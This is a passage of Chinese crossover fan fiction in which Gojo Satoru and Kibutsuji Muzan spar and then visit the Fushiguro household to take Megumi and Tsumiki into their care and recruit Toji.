由于五条悟技能还使用的不是非常熟练,一下子没把握好前进的度,脚步一个踉跄,顺带着鬼舞辻无惨的身体一齐跌倒在地。 当然,哪怕摔下去的姿势并不是很美观,五条悟还是没有松开掐着鬼舞辻无惨脖子的手。 五条悟向身下看去,那双眸子里并无惊惧,有的只是赞叹。 “你的速度变快了。” 五条悟超级骄傲地咧嘴大笑,并嘲讽对方的攻击形式从始至终只有一种。 “那包的呀!也不看看我是谁。 无下限术式,很神奇吧?” “从第一次见面时起,你已经展示出三种原理不同的大范围攻击手段,浮空和高速移动,隔绝外部攻击以及超高水平的恢复能力。 能力相当全面,我确实想象不出来能彻底击败你的招式。” 五条悟撩了下头发,顺便也扶了一把摇摇欲坠的墨镜,面上得意的不行。 “还算你有眼光吧,我就是这么完美 ~ ” “不过嘛……”鬼舞辻无惨微微一笑,下一秒,摸到五条悟身后的骨刺瞬间卷上他的脖颈。 “警惕心还是要加强些。” 五条悟:! ! ! 五条悟被迫抬起上半身,不顾骨刺上尖锐的突起,一把抓住越缠越紧的骨刺。这尖锐的刺扎进掌心,溢出点点鲜血,这鲜血随着掌心的纹路流淌,而后下坠,一滴一滴落在地上。 有两滴血液打在鬼舞辻无惨的唇边和脸颊上,与苍白的肌肤形成鲜明对比,像是雪地上绽开的红梅。丝丝鲜血顺着唇缝溢进鬼舞辻无惨口中,五条悟意识到,这家伙瞬间兴奋起来。 “嘁……”五条悟面上露出个带着恶意和不屑的微笑,眸中分明透露出某种危险的气息,但语气仍旧是绵长而黏腻的嗓音。 “你怎么可以明面上使用夸夸大法,结果在我心花怒放的时候耍阴招呢——” 五条悟手上收紧,用力一扯,清脆的断裂声中夹杂着血肉的撕扯声,令人毛骨悚然,但在场的两位显然不是会在意这点声响的存在。 然后,随之而来的匆匆脚步声,又驱散了些许诡异的氛围。 之前五条悟使用咒术的时候,闹出了点大动静,在附近巡逻的五条家族人闻声立刻结队赶来。 到达现场,五条家的人只看见碎成渣的木质房门,塌陷出了一个凹坑的地板,和布满裂痕、出现一个大洞的墙壁。 还有在房间一角,身形交叠在一起的两人。 ………… 到场的族人瞬间一排排跪下,为首的领队壮着胆子出声,稍稍将两人的思绪拉回现实。 “少主,请问现场是否……” “滚下去。” 五条悟骤然冷下去的嗓音响起,像是惊雷一般,来人顿时低头道歉,随即又迅速以列队的形式退下。 “这么凶……呃……” 五条悟收紧了右手。 但鬼舞辻无惨除了刚开始的闷哼外,完全没有其他表现,就像是丝毫不需要呼吸一般,还有心思对着五条悟挑衅。 “就像你想不出来能击败我的招式,老子也想不出来能彻底消灭你的方法。 真是麻烦。” 五条悟十分不爽地叹了口气,又像是泄愤似的掐紧了对方的脖子,但一看到鬼舞辻无惨那照常的挑衅的笑,面上瞬间切换成了无语。 “好烦啊! 干嘛直接攻击我啊?你没事干吗?” “不是你先出手的吗?” 鬼舞辻无惨觉得这锅一点都不应该由自己来背。 “那我不是想进你房间吗?怎么了嘛!不给进啊! 拜托,我是未来家主诶!按理来说五条家的房产,本质上都属于我的好吗? 而且是是特地来找你的诶!特意来找你的! 我服了你了,就这么烦我吗?!” 五条悟声泪俱下,面上表情一会变成愤怒,一会变成控诉,最后又变成了不可置信。 鬼舞辻无惨默默感受着耳边愈发嘈杂的声响,眼神渐渐放空。 “吵死了,以后在我身边的时候,你能不能闭嘴?” 鬼舞辻无惨莫名有些怀念以前的氛围了,虽说他手底下的要么是闷葫芦,要么是讨厌鬼,要么沉默寡言,再不济面对他就只能瑟瑟发抖。 但好歹不会吵的他脑瓜子疼。 面对他这样的话,五条悟表示: “你还嫌弃我上了,嗯?怎么会有人讨厌帅气阳光开朗实力强大的五条悟啊!” 鬼舞辻无惨木着眼回视过去。 “你确定?” “当然了!”事实与叙述虽然不能算作相似,但好歹也是千差万别,五条悟理直气壮地胡说八道,“我这个实力,你觉得我会需要老师担心?一年级的学弟们可崇拜老子了,二年级的也把老子当最好的朋友! 五条家的人有敢讨厌我的吗?有吗?没有! 再说高层里,其他两家那些烂橘子确实讨厌老子,不过是因为老子太强了让他们不爽了!真说起来,他们哪里配被划进老子的势力范围啊!” 鬼舞辻无惨默默移开了视线。 五条悟:“你不信?真的假的?不许不信啊混蛋!” “那你特意来找我干嘛?去找崇拜你的学弟和最好的同学啊。” 鬼舞辻无惨歪着头,语气淡然。 五条悟很可疑地沉默了。 ………… 现在高专有些克他,回去是不可能回去的,但是打嘴仗输也是不可能输的。五条悟眸子一转,加重了语气中的责备。 “你以为我是为了谁啊!” 鬼舞辻无惨满脸无语,眼神上上下下扫了他一遍,最终将这番话归咎于五条悟脑子出问题了。 “你快接话啊,你不接我怎么讲下去。” 五条悟指尖戳了戳鬼舞辻无惨的腰。 ………… “好吧,那你是为了谁。” 说罢,鬼舞辻无惨轻笑,觉得这人就是老天爷看他太闲了,派来整他的。 “为了咒术界的未来,为了帮你找到生命的意义,为了……” 五条悟声色并茂,越说越起劲,被某个听不下去的人打断。 “说重点。” 五条悟撇撇嘴,最终还是说出了自己的来意。 “好吧,我是想让你带我去找禅院家的祖传术式来着的。” “理由。” “集齐七龙珠啊。” 鬼舞辻无惨定定地盯着他,一点都不吃他这一套。 “好吧。”五条悟感到有些无趣,瞄了一眼鬼舞辻无惨,暗道这家伙真是一点玩笑都开不起,“抵制权力的渗入要从娃娃抓起,本质上就是为咒术界的未来培养足以决定轻重的咒术师。 所以带我去嘛,反正你闲着也是闲着。” 五条悟手上的伤口,在反转术式的运行之下,早就痊愈。但空气中似乎还飘散着丝丝鲜血的味道,萦绕在鼻腔周围。 “可以。” 鬼舞辻无惨浅浅应下,抬脚踹了下五条悟的小腿。 “不过先松开我。” 五条悟弱弱地“哦”了一声,把手掌从鬼舞辻无惨的脖子上移开,但移开后的右手莫名其妙地撑在他的耳边,两人瞬间对视上。 或许是压到了对方的卷发,鬼舞辻无惨皱起眉头,凑的近了,五条悟甚至能看见他眸中鲜红色的纹路,胸腔随着呼吸节奏起伏,倒也像是正儿八经的活物了。 他的血还残留在他的脸颊上,五条悟顿时意识到这一点,接着像是看到了什么不得了的东西,两手一撑,就从地上跳起来。 “好啊,那我们走吧。” 五条悟若无其事地说到。【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 第 41 章 并非拜访。…… “惠惠, 你的意思是这家店两天都没开门了吗?” 知夏子上前几步,眼睛凑到玻璃门前,试探性地将店内的全貌收入眼中。 “但是门没锁诶?我们可以进去吗?” 伏黑惠面无表情地看着她, 眼睛眯起。 “显然是不可以的吧。” “啊——”知夏子一脚踢开台阶上的小石子, 又不甘心地拍了拍玻璃门, 最后只能确定,里面确实没人。 “真是的, 店长不在的时候门都不锁一下的吗? 这附近的治安好像不太好吧……” 眼见人还是不在,伏黑惠低下头,有些失落。他抿了抿唇, 把这份失落埋下, 毫不留恋地扭头离开。 “我先回去了。” “诶诶,惠惠!等我一下。”知夏子小跑着从台阶上跑到伏黑惠的身旁, “你住在哪里啊,一个人回家会不会有危险呢? 要不要姐姐送你呀 ~ ” 伏黑惠没有看她, 直接拒绝。 “不用了,谢谢好意。” “没关系啦——”知夏子捂着嘴笑起来,双眼眯成一条缝,眼尾上挑, 看上去很开心, “反正姐姐也不着急回家。” 知夏子往前跳了一大步, 张开手转了一圈,像是很享受落日十分斜阳的余晖。知夏子微笑着弯腰, 视线看向伏黑惠的脸。 “而且现在太阳快下山了诶!惠惠不会觉得害怕吗?” “并不会害怕。”直觉, 和对陌生人的警惕,让伏黑惠直截了当地拒绝了知夏子的套近乎。 但如果彻底直白地让她离开,万一她演都不演了呢? ………… 伏黑惠选择加快步伐。 “惠惠真是个独立的好孩子——” 知夏子晃着脑袋, 双手交叉搁在后腰上,粉色的裙子随着她的步伐曳出柔软的弧度。 伏黑惠在心里默默吐槽了两句,心想自己这样到底是因为谁啊。那个罪魁祸首,这个点估计还懒散地躺在家里。伏黑惠之前希望父亲能着家一点,但他这两天不知道是脑子烧坏了还是怎么的,大白天窝在家里睡觉,晚上叮叮哐哐的,把伏黑惠吵醒了不知道多少次。 太可恶了! 伏黑惠闷头赶路,十几分钟后,来到了家门口的那条小巷前。 “你家在这里吗?” 知夏子饶有趣味地打量着略显破败的小巷。 伏黑惠点点头,抬头,真诚地看着他,“谢谢姐姐,我已经到了。” “不用谢!”知夏子双手合十,动了动手腕,做出一个“拜托”的姿势,“这里好偏啊,我可以直接送你到家门口哦。” 伏黑惠收回视线,低着头小声应了一声。 反正他爹在家,至少可以相信他的武力吧。 伏黑惠快步走自家门口,知夏子代为敲了敲木质的房门。 过了几秒,先是急促的“哒哒哒”的步子声响起,然后门被打开,五条悟那张脸出现在两人面前。 知夏子的瞳孔微微放大,似乎很惊讶能在这里看到他。 五条悟“咦”了一声,指尖把墨镜往下扒拉了一点,视线上上下下扫过她的全身,六眼详尽地收集这对方身上的信息。 知夏子被他审视的目光看得如芒在背,半晌,露出一个干巴巴的笑。 “啊,呃,我把这孩子送回来就走,再见。” 说完,知夏子飞快地逃走了,像是后面有洪水猛兽一般。 五条悟不屑地撇了撇嘴。 “这么快就走了吗?” 鬼舞辻无惨的步子要慢一点,而且五条悟都没动作,他也懒得管。等知夏子逃没影了的时候才走到五条悟身旁。 “人有问题?” “嗯?!”五条悟像是惊到了,意义不明地哼了两声,“啊,你看不出来很正常。” 五条悟摸着下巴,眉毛簇在一起,然后上挑。 “这家伙身上没有咒力运转的痕迹,应该不是咒术师,也没有术式…………可能是咒具使之类的吧。” 说着,五条悟耸耸肩,颇为不在意地说到。 “反正看见老子就怕成那样,估计是什么没啥名气的诅咒师吧。 无所谓咯。” 在他俩身前,伏黑惠板着脸,无语地看着这两个像堵墙一样挡在自家门口的二人。 “诶呀。”五条悟这才把视线移到伏黑惠伸上,眼里饶有兴致。 “这就是十种影法术?” 听见他的话,伏黑惠不算开心地抬头,眼神不喜。 “我叫伏黑惠。” 伏黑惠的本意是让他别用什么咒术的名字来代替自己,但五条悟猛地一瞅他完整的脸,面部五官顿时扭成一团,下巴像是要掉下来一样。 骨刺猛地锤了一下他的脑袋,鬼舞辻无惨嘴角带笑。 “怎么,你又应激了?” “没有!不是!”五条悟坚决否认,“只是有点不适应而已!因为这孩子和他爹长得实在是太太太太像了,真的!” “可恶啊,你这家伙!” 伏黑惠木着脸看着面前两个可能都不是太正常的家伙,忍无可忍地出声打断,“我们非要在门外讨论事情吗?” 五条悟瘪着嘴,那一圈的湛蓝微微偏斜,瞥了一眼伏黑惠,接着收回了视线。 再瞥,再收回,再瞥,再收回。 来来回回重复了好几次,把鬼舞辻无惨都整无语了,伸手拽着他的领子,把人拖回了屋里。 五条悟被扼住命运的咽喉,视线还是在伏黑惠身边来回飘荡。身子倾斜着,但又奇特地能保持平衡,跟着鬼舞辻无惨的力道向后移动。 伏黑惠感觉这俩人莫名其妙的,但这个没礼貌的白毛能直接把刚才那人吓走,估计也是什么惹不起的家伙。 进门之后,伏黑惠先是扫视了一圈,没有发现什么坏掉的家具,或者是乱糟糟的垃圾。津美纪的房门紧闭着,不知道她在不在。他的便宜老爹正散漫地躺在沙发上,壮硕的身子把整个沙发占据了个七七八八。 伏黑惠叹了口气,十分聪明地意识到,这几个大人估计要谈论一些小孩子不能知道的事情了,无奈地往自己的房间走。 但在半路上,两根骨刺分工明确,一根绕着伏黑惠的身子,把人拉向鬼舞辻无惨的方向。另一根则是精准地取下伏黑惠背上的书包,然后抛到一旁。 伏黑惠:? 第42章 第 42 章 并非逼迫。…… 直到被抱到鬼舞辻无惨腿上之前, 伏黑惠的意识都是混乱的。他的表情一片空白,眼神也是木木的,感觉什么也看不见, 但自己的身体确实在空中晃荡了半晌。 等伏黑惠意识回神的时候, 他的房间变得触不可及。他爹看了眼他那张臭脸, 像是嘲笑一样发出一声大笑。伏黑惠的背挺得笔直,头上传来熟悉的触感。 伏黑惠板着脸, 想起伏黑甚尔一贯的不着调,想起鬼舞辻无惨一贯的肆意随性,又看见坐在旁边的白毛混蛋, 无语至极, 怒从心起。 “……我说你们礼貌吗?” “就是就是!” 五条悟附和着嚷嚷了两句,一边吵一边指控鬼舞辻无惨的恶性。 伏黑惠:“你也很没礼貌!” 但伏黑惠不接他的茬, 他只是敏锐地感觉到了一些不是很和谐的因素,心里的不安感愈发浓重。 他以为他的生活会一直持续下去, 最为艰难的时候也比不过从前,跟着伏黑甚尔流浪在不同女人的家里、饥饱不知的生活。总不可能比毫无尊严,毫无希望的生活要糟糕了吧? 但确确实实有什么东西在改变,超出一切常理的认知。 “哇哦呜~”被骂了, 但五条悟毫不在意, 他甚至有兴致逗伏黑惠玩, “好凶哦惠惠酱。” 伏黑惠:……………… 伏黑甚尔拍了拍桌子,把几人的目光都吸引到自己身上。 “喂, 人来了。” 伏黑甚尔直起身子, 但还是那副懒散的样子,背软着,懒洋洋地靠着沙发靠背。他的声音也是懒洋洋的, 懒散又低哑,语气平静,像是一点都不在意自己说出的话。 “你俩开个价吧。” 意识到他在说什么,伏黑惠顿时感觉心脏被一吨重的铁锤狠狠砸中,荡得他眼冒金星,七杂八碎的思绪混杂着难过,让他不敢置信地喊着。 “你要卖了我?! ! ! ” 鬼舞辻无惨的手一顿,似乎有些意外。 “别把话说得这么难听。”伏黑甚尔嗤笑一声,“或者说,你觉得自己还能在普通人之中生活下去吗?” “要掩饰自己与普通人的不同,又要压抑对那些普通人看不见的怪物的恐惧,终日惶惶不安,连小命都可能不知不觉就傻傻地丢掉了。” 伏黑惠脑中震荡,但思维意外的清晰。 “别把话题扯远了! 卖掉自己儿子这件事,能被这么轻松地说出来吗?我还在这呢!” “哎呀。”伏黑甚尔满不在乎地说,“反正这俩东西想带你走,你老子也反抗不了。还不如多给我捞点好处呢。” “果然是个人渣。”伏黑惠顿时觉得这家伙更加面目可惧了,皱着眉头,低声骂了两句。 听见伏黑甚尔的话,五条悟不满地瞪了他一眼,语气里隐隐含着威胁。 “喂,你这家伙,别搞得是我俩不怀好意一样。” “惠惠酱——”五条悟弯下腰,少见的没有把墨镜拉下来,只是隔着一片灰暗去看他,六眼正尽职尽责地收集着他身上的咒力痕迹。 伏黑惠没有动,只是用带着点疑惑和嫌弃的目光看着他,视线和呼吸没有丝毫变动。 所以五条悟感到好奇,也觉得有趣,所以他拉下墨镜,用肉眼切切实实地看见,对方的脸上除了浮在表面的厌恶与不耐,还有点像是早就知道如此,面对伏黑甚尔的混账做法丝毫不感觉到意外。 或者说,哪怕是感觉到意外,也很快就接受了。那么伏黑甚尔在他儿子心里到底是有多糟糕啊。 所以五条悟不禁想到,伏黑惠对伏黑甚尔的希望估计是消失殆尽了,哪怕有,也不过就是冰寒笼罩下的那一片静水,不时就会沦陷。 但他还没陷入最后的、彻骨的深寒,还未全然失去希望。 为什么呢? 谁在给他希望? 五条悟并没有直白地解释,他食指一挑墨镜框,圆形镜片的金属边框在他的鼻梁上晃了两下,最后安安稳稳地被扶正,跟着五条悟的脑袋一起转圈。 “不要听这家伙乱说,他可是好、好、好、好久之前,就把你卖给禅院家了哦—— 分明他自己都是受不了了从禅院家跑出来的呢。” “那你们呢,为什么一定要带我走?” 伏黑惠扒住鬼舞辻无惨的手,抬起头,有些艰难地看向他。 鬼王的指尖冰冷而僵硬,像是夏日深夜井栏深处的冰,一点一点,但并不刺人,是令人舒服的凉意。 鬼舞辻无惨没有回答,他只是低低地吐露出一丝低吟,然后将话题抛给了五条悟。或者说,这本来就是五条悟提出的。 “问他吧。” 鬼舞辻无惨话音刚落,五条悟的声音掷地有声,理直气壮地反驳了伏黑惠。他的双手摊开,露出一个无奈的表情。 “都说了我们不是坏人啦——惠惠酱当然可以自己选择想去哪里啊——” 伏黑惠烦躁地“嘁”了一声,“什么选择,要么去禅院家,要么跟你们走,只能二选一,不是吗?” “哼、哼、哼、哼,你说的没错啦,所以,选吗?” “……津美纪会如何? 如果我跟你们走了,津美纪会幸福吗?” 五条悟抬着他那张脸,笑容灿烂,嘴角上扬到能够露出洁白的牙齿。 “为什么没有选禅院家呢?” “因为这个混蛋就是在禅院家长大的。”伏黑惠的话很符合逻辑,并且有力地让伏黑甚尔膝盖上中了一箭,“我不觉得那里是个好环境。” 鬼舞辻无惨被他的说辞逗笑了,连坐姿都放松了些。 “那里确实不是什么好地方。”伏黑甚尔没有任何意见,“她要是跟你回去,要么当你的暖床丫头,要么当别的嫡子的暖床丫头,要么…………” 伏黑甚尔确实没什么羞耻心和道德,但他说的也确实是实话。伏黑惠听着,更生气了。 “她是我姐!” 伏黑惠怒气冲冲,稚嫩的声音直接打断了伏黑甚尔无赖似的叙述。 像是被逗乐了,伏黑甚尔掏了掏自己的耳朵,脸上是嘲讽似的笑意。 “对对对,姐姐。” 伏黑甚尔时常不着调,不尊重别人,也不尊重自己。这反而让他有着野兽般的内心,狂放不羁。 “按那群渣滓的想法,能侍奉嫡子可是她们的荣幸,这还是看在你的面子上。” 像是回忆起了什么,伏黑甚尔的表情中透出一丝戏谑,然后是被掩藏在漫不经心的外表下的憎恶。 “毕竟,普通人的女孩,不被扔去喂咒灵就不错了。” “怎么会有这么恶心的地方…………”伏黑惠咬牙切齿,“所以呢,你们会怎么对她?” 但面对伏黑惠的提问,三人都没有回答,只有五条悟饶有兴致地看着他,似乎是在期待他的反应。 伏黑惠感觉有些心慌…… “……你们为什么不说话?” “非常遗憾地告诉你,惠惠酱。”五条悟像是唯恐伏黑惠不够担心一样,特意捏着嗓子拟出奇奇怪怪的声线,“津美纪并不会跟我们走。” 伏黑惠感觉自己的脑子里,伸进来了一柄大金属勺子,肆无忌惮地搅动着本就脆弱的器官。筋膜连带着血一起被拉扯,然后搅碎,像是要夺去那最后一丝希望。 “为什么!” 敏锐地觉察到伏黑惠的状态不对劲,鬼舞辻无惨收回骨刺,大手包裹住他的两只手,然后攥在手里。他冰冷的掌心里传来不安分的动静,伏黑惠的整个身体连着双手都在颤抖。 “普通人接触咒术界没有好处。” 鬼舞辻无惨的声音低沉而寒冷,像是低音提琴的乐声穿过冰山,夹杂着永恒的寂静。 “但是她不用知道这些的!” “但是她在你身边。” 五条悟声线平稳,像是习惯了凡人的激烈的情绪。但他也不得不感叹,面前这家伙总算有个五岁小孩的样子了。先前死气沉沉又对一切都不抱希望的样子,简直是令人惊叹。 伏黑惠向来聪慧,很清楚地知道五条悟没说出口的那些话代表了什么。 “因为她在我身边,所以一定会被我连累吗…… 津美纪现在在哪?” 伏黑甚尔:“哦——” “这俩家伙一声不吭就跑上门来,有个白毛的脑残还把这熟悉的当自己家一样。 我就打发她妈带着她去买点菜招呼客人咯。” 伏黑惠还是很难过。 “阿姨也回来了吗?” “嗯。” 伏黑甚尔兴致缺缺。 伏黑惠不想就这么被告知,他还是想争取一下和津美纪一起生活。 “那你要怎么解释她们出去一趟,我就不见了?” 伏黑甚尔嗤笑一声,“解释个蛋,反正当初结婚只是找个人带你。现在正好,直接离了。” 伏黑惠整个人都灰暗下去。 伏黑甚尔颇为不解地碎碎念两句。 “怎么离了那女的就废掉了一样。” 尊重这个词伏黑惠已经说烂了。 但这个烂人意外的没有继续,他的面上露出一抹恍惚,还有追忆。灵魂像是被扔进沸水中熬煮,变得干柴且乏味。 伏黑甚尔靠在沙发上,抬起头,昂着脖子,视线去看天花板,看发着光的天花板吊灯,直到眼睛被灯光刺得发酸也没有移开。 伏黑甚尔的身体里有了鬼舞辻无惨的血,因而鬼王能直到他心里到底在想什么。 那是一段平凡到几乎不可能属于术士杀手的生活。 然后这美好分崩离析。 鬼舞辻无惨轻笑一声,一下一下地抚着伏黑惠的手背。 “既然这么伤心,就把那小姑娘一起带上吧。” 五条悟耸耸肩。 “我没意见。” 第43章 第 43 章 可被预测的…… “真的吗!” 一听见鬼舞辻无惨的话, 伏黑惠本来是很高兴的。但转念一想,又失落起来。更多的是一种悲伤混杂着担忧的自责,将他的思绪不断拉扯, 落入空处。 “但是……我的能力很特殊吧。 在我身边, 她一定会被我连累…… 说不定就算真的分开, 也会有人找上她!” 伏黑甚尔并没有动作,也没对两人的决定提出异议。或者说, 他根本就不在乎津美纪跟谁生活,他只是静静地维持着这个姿势,待眼睛发酸到疼痛, 才慢慢闭上眼。 五条悟摸着下巴, 脑海中联想到这孩子自小的经历,与在刚刚表现出来的特质, 觉得有些难办,可能是和幼时无人关心颠沛流离的生活有关, 让这孩子缺少了爱自己的能力。 活着本身只是生物的本能,而生活则并不只是如此。 他的生活需要锚点,锚点的本质是被他认可的人,伏黑惠本人是依附于这些锚点而生活的, 而这种依附关系的本质, 是他找不到自身存在的意义, 自我的价值被解构成了虚无。 而这诸般因素构成的最终结局,是一个宁愿为他人而活的利他性灵魂, 这种性质在方才的对话之中也有所体现。 最为显著的一点就是, 明明直面危机的首先是伏黑惠本人,对于敌对势力来说,最优解是趁十种影法术弱小之时对其发动袭击, 那么最危险的必然是伏黑惠本人。但他最为在意的,甚至可以说是唯一在意的东西,是他姐姐津美纪的安危,这就很能说明问题了。 再加上让这孩子选择归处的时候,第一反应也是津美纪会被如何对待。 Emmmm……五条悟不禁想到,若是让他知道了十种影法术运作的本质,知道了魔虚罗作为至今无人能调服的式神,降临后便能摧毁一切闯入调服的所有人。 他是否会只把魔虚罗作为一个最后的武器,一个以自己生命为代价的、能铲除一切敌人的最后保障,而非将魔虚罗视作可收为己用的工具? 这样可远远接触不到十种影法术的上限啊。 而且,如果他没猜错的话…… 五条悟挑着眉,皱着脸,并不是很想当这个破坏小孩子幻想的大人。 但是鬼舞辻无惨无所畏惧。 “既然你这么担心。”鬼舞辻无惨是声音如往常一样缓慢而平淡,仿佛没有什么东西能让他改变,“本质上来说,津美纪所可能受到的来自咒术界的侵害,无论是何目的,最终也是为了利用她来针对你。 既然如此,不如直接结束自己的生命? 如何?” 五条悟:啊??? 伏黑惠怔怔地看着他。 “是这样吗…………” “当然。”鬼舞辻无惨眯起眼睛,语气中带着一丝喜悦,是想象到有趣的东西时来的兴致,“我会将你的选择,丝毫不差地告诉她。” 伏黑甚尔:啊??? 余下的两位你看看他,他看看你。 伏黑甚尔内心:吼哟,喜怒无常的家伙。 五条悟内心:这老东西又在逗小孩玩了。 “你怎么能这样!” 伏黑惠急得快要哭出来,但鬼舞辻无惨脸上的笑容丝毫未变,仅仅只是加了点手上的力道,压下了他反抗的手。 “我不能哪样?” “津美纪要是知道了……” “嗯嗯。”鬼舞辻无惨就像是那个作为故事反派的大魔王,“哎呀,她会伤心的吧?” 伏黑惠瘪了瘪嘴,“你到底想干嘛!逗我玩有意思吗?” 鬼舞辻无惨的面上陡然褪去了一切表情,声线也冷了下来。 “确实,没什么意思。” 人类的幼年,是塑造价值观的最早时期,当然也是最好的一个时间。 若是童年经历糟糕,要么彻底变得软弱,消弭于世。 要么只能自救,为自我重塑人格。通过现实的因素,为自我确定锚点,通过一个个逻辑严密的因果链,为自己找到存活的意义。 但后者的糟糕之处在于,虽然这种因果链足够完善与严密,但往往都是密不可分的一个整体。就像机械内部旋转的齿轮那样,环环相扣,在因果链完好的时候,看上去足够精密与壮观。 但只要任何一个部件出了纰漏,就会导致整个世界观的崩塌,人类的灵魂也会随之遭到重创。 但我们又无法直截地指责他们,因为没有人为他们教授与自我宽恕和解的方法。 看问题要直击重点,对付人要找到他心里最脆弱的一环,要找到统筹一切因果的那个事物。 “你觉得津美纪会如何选择呢?” 鬼舞辻无惨将问题抛回给伏黑惠。 “……我不知道。” 伏黑惠陷入了深深的纠结之中,但五条悟却精准地感受到了对方话中的潜在含义。 五条悟拉着鬼舞辻无惨的手,把他带到窗边。 两人小声密谋,主要避的不是伏黑甚尔,而是目前还在纠结的伏黑惠。 “喂,你什么意思啊。 咒术界的存在是不能被普通人知晓的。 你忘了我俩的约定了。” 鬼舞辻无惨:“但这是迟早的事吧?” 五条悟扭曲着脸,跟看珍稀生物一样看着他。 “嘿,你这话我怎么感觉这么说的这么邪乎呢。” 鬼舞辻无惨定定地看着他,皱了下眉,然后十分不喜地伸出手,扯着他的脸。五条悟没感觉到威胁,于是也没开无下限。 鬼舞辻无惨揪着五条悟的脸颊往两边拉扯,面无表情。 “性格已经很惹人厌了,不要让你的脸在我这也变得一无是处。” 五条悟一把抓住鬼舞辻无惨的手腕,向外推开。脸上的表情变幻莫测,从张嘴斜视,到歪嘴瞪眼,眉毛拧成一团,最后瘪着嘴无语地看着他。 “要你管,嘻嘻。” “你还没回答我呢!怎么就迟早的事了。” “有人会逼着你去做的。”鬼舞辻无惨面上似笑非笑,“因为这是一个王牌。 而且是绝无仅有的,任何咒术界人士都可以使用的,王牌。” “没那个可能。”在面对正事上,五条悟一般来说都是比较靠谱的,“曾经也不是有人试图以这个理由威胁御三家。但首先,老式传播媒介的效率过低,而且很容易得到控制;其次,电子和网络传播的控制权一直被官方把控,官方绝不会允许这样的信息流露到人群中。 这样对那些高层没什么好处。” “如果敌人是与你同等级的强者,抑或是有绝对的谋略与计策呢?” “那我还活着呀。”五条悟显得没心没肺的,“我怎么可能让这种人破坏咒术界的和平。” “那我就不知道了。”鬼舞辻无惨没有坚持,只是把这个看似危险的话题略过了,“毕竟,我可不是咒术界的人,这些情报我本就没有掌握。” 但鬼舞辻无惨垂眸,像是回忆起什么。 “我只是以纯粹因果的角度,提醒你一句罢了。 我以两次死亡作为代价,因而知晓一切事件的背后,有其无法忽视的联系。” “如果你非要这么说的话。”五条悟挑着眉思考到,“其实也有点道理。 当然,只有一点点。” “不过现在就让津美纪接触咒术界,会不会有点太早了?” “我可没说过让她接触。” 鬼舞辻无惨翻脸不认账。 “啊?”五条悟表情怪异,“那怎么让津美纪跟我们走。不是要让她跟伏黑惠一起生活吗?” 五条悟说着说着,成功把自己逗乐了。 “怎么,父母离婚,俩小孩跟别的男的跑了是个怎么回事,包能上明天头条的。” 鬼舞辻无惨摊手,然后扭头看向伏黑甚尔。 五条悟的视线也一起平移过去。 伏黑甚尔还在emo着,躺着躺着就发现,旁边说悄悄话的俩人正直勾勾地盯着自己。天与咒缚的听力非常好,所以伏黑甚尔其实一直听得见两人在谈论什么。 但听见是一回事,入脑又是另一回事。本来他觉得这俩人絮絮叨叨的都是关于咒术界的事情,那关他一个术式杀手什么事呢,伏黑甚尔因而十分心安理得地就放弃思考,大脑放空地保持着原来的姿势。 直到被热烈到无法忽视的目光盯上,伏黑甚尔一头雾水地延迟接收了两人方才谈话的内容,捋着捋着,伏黑甚尔虎躯一颤,拧着表情回视过去。 “你俩这是连吃带拿啊。” 这俩混蛋显然就是想让他一起跟着去给咒术界卖命,这话怎么听着这么有病呢? “一亿日元。” 伏黑甚尔顿了一下,随即嫌弃地看着他。 “就一亿日元就想把我收买了?” “……每月。” 五条悟慢悠悠地补充到。 伏黑甚尔:………… “说吧,什么时候入职?” 站在一旁看到全程的鬼舞辻无惨:原来是用这种方法解决的吗。 “安啦。”五条悟朝他摆摆手,声音轻佻,但语气却是一等一的认真,“知道你讨厌咒术界。先跟高专对接吧,不用管高层的那群老头子。 等以后,有更适合你的工作会交给你的。” 伏黑甚尔感觉他在给自己画饼,但六眼应该不会拖欠工资,于是欣然接受了。 “搞定咯。” 五条悟打了个响指,正好此时,房门被打开,一个扎着长发的干练女人带着津美纪回来了。 第44章 第 44 章 过渡章 津美纪推门进来, 视线一落到伏黑惠身上,顿时眉开眼笑。 “呀,小惠回来啦。” 津美纪笑得很活泼, 拎着两袋子蔬菜就要往厨房跑。 “麻烦稍等一会儿哦, 我们很快就把晚饭做好!” “好的!”五条悟举手比了个“OK”的手势, 声线微微往上提了提。 伏黑惠咬牙切齿,顿时就从悲伤的情绪转变为恼怒夹杂着无语, “你是怎么心安理得地接受一个几岁的小孩给你做饭的啊混蛋成年人!” 五条悟一甩头发,语气里莫名其妙听出一丝得意。 “老子未成年 ~ ” 津美纪眉头一皱,先是顺手把蔬菜放好, 然后回来敲了一下伏黑惠的脑壳。 “好了小惠, 不要对客人不礼貌哦。” 伏黑惠喉咙一噎,感觉自己那跟着他的生活简直暗无天日。 更无奈的是, 津美纪也帮着对方说话。 啊啊啊别太善良了啊津美纪! 这两个哪里算得上是客人啊! 伏黑惠原地跟自己生几秒钟的闷气,然后老老实实想跟着津美纪进厨房, 想帮着打打下手,但果不其然被津美纪赶出来了。 “哎呀,小惠进来做什么,今天的作业写完了吗?” 伏黑惠:没动。 “……写完了。” “写完了那就去玩吧, 况且爸爸很少回来, 你不想他吗?” 伏黑惠:我发誓我一点都不想这个混蛋。 但是看着津美纪真诚又带着期待的目光, 都到嘴边的话就这么被咽了下去。 “但你们很累的吧?我还能打打下手。” 津美纪轻轻笑了一声,用干净的手揉了揉伏黑惠的脸。 “小惠连洗菜池都够不到吧?” 伏黑惠瘪着嘴, 十分不满地反驳到:“你不也是要踩小板凳才够得到的吗?” 津美纪没觉得自己的话里有什么不对的, “我踩小板凳可以够得到,你踩了也够不到啊。” 伏黑惠:…… “好啦好啦。”津美纪双手扒着他的肩膀,把人推出了厨房, “小惠可以自己去玩,或者跟客人打打招呼,这里就交给我们吧。” 伏黑女士抽出菜刀和砧板,她那不算温柔的声音在水流的沙沙声中,也显得有些柔和。 “津美纪说的没错,惠你先出去吧。” 伏黑惠“哦”了一声,十分不爽地走出厨房。然后映入眼帘的就是五条悟那张杵在沙发靠背前的脸,顿时感觉更生气了。 于是伏黑惠转头就拎着自己的书包进了房间,宁可跟作业面面相觑也不愿意留在这当两人的逗弄对象。 伏黑甚尔好歹有了个正形,双腿岔开,无处安放的大长腿缩在茶几旁边。 “喂,差不多得了,莫非你俩还真想留下来吃晚饭?” “事先声明。”鬼舞辻无惨开口就是甩锅,“我从来都没有提这个念头,从头到尾都是五条悟先提的。” “啊!”五条悟随即不满地提出抗议,“但是你起哄起的蛮开心的嗷。” “我有开心吗?” 五条悟的嘴角往下撇,“切—— 除了发疯之外,整天就木着张脸,谁知道你高不高兴啊。” 